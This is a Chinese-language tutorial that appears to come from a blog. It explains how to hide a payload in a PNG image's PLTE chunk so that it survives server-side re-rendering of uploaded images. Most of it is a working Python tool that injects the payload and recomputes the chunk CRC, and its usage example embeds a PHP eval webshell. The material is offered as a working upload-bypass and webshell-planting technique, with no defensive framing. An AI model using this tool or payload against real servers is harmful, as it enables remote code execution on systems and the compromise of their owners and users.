在PNG图像中隐藏payload,绕过二次渲染
1.绕过原理
在上传含有木马的图像时常常会遇到服务端对上传的图像进行二次渲染。服务端会提取图像中信息,并重新合成一幅图像,所以简单地将木马附加到图像最后或者注释信息中是不能成功上传图片木马的。
对于PNG图像,可以考虑把木马隐藏到PLTE
数据区或是IDATA
数据中。
2.程序实现
以下的程序实现了将用户给定payload写入含PLTE
数据区的PNG图像中。
使用方法:
- -f 选择要嵌入payload的png图片
- -m PLTE 指定嵌入位置为
PLTE
数据区
- -p 输入要嵌入的payload,必须使用
"
包围
示例:
xxx.py -f 1.png -m PLTE -p "<?php @eval($_POST['id']);?>"
具体实现代码:
#!/bin/python3
import binascii
import re
import sys, getopt
''' GET args '''
args = sys.argv[1:]
try:
opts, args = getopt.getopt(sys.argv[1:],'f:m:p:')
except getopt.GetoptError:
print("Usage: -f file -m PLTE -p \"playload\"")
sys.exit()
file_path = mode = payload = ""
for opt, argv in opts:
if opt == '-f':
file_path = argv
elif opt == '-m':
if argv == 'PLTE' or argv == 'IDAT':
mode = argv
else:
print("Mode ERROR!")
sys.exit()
elif opt == '-p':
payload = argv
if mode == 'PLTE':
''' PLTE payload '''
hex_payload = binascii.b2a_hex(payload.encode())
file_name = file_path.split('/')[-1]
png = open(file_path,'rb')
image = png.read()
png.close()
hexstr = binascii.b2a_hex(image)
searchObj = re.search('504c5445(.*?)49444154', hexstr.decode())
if searchObj:
front_data = image[:searchObj.span()[0]//2]
last_data = image[searchObj.span()[1]//2 - 4:]
plte = '504c5445' + searchObj.group(1)
if len(plte[:-16]) >= len(hex_payload):
_new_plte = plte[:8] + hex_payload.decode() + plte[len(hex_payload) + 8:-16]
''' new PLTE crc '''
crc = binascii.crc32(binascii.a2b_hex(_new_plte)) & 0xffffffff
new_plte = _new_plte + hex(crc)[2:] + plte[-8:]
plte_data = binascii.a2b_hex(new_plte)
new_image_data = front_data + plte_data + last_data
''' new png '''
try:
new_png = open("_"+file_name,'xb')
new_png.write(new_image_data)
new_png.close()
except IOError:
print("_%s already exists." % (file_name))
sys.exit()
else:
print("Playload too long!")
sys.exit()
else:
print("Image doesn't include PLTE.")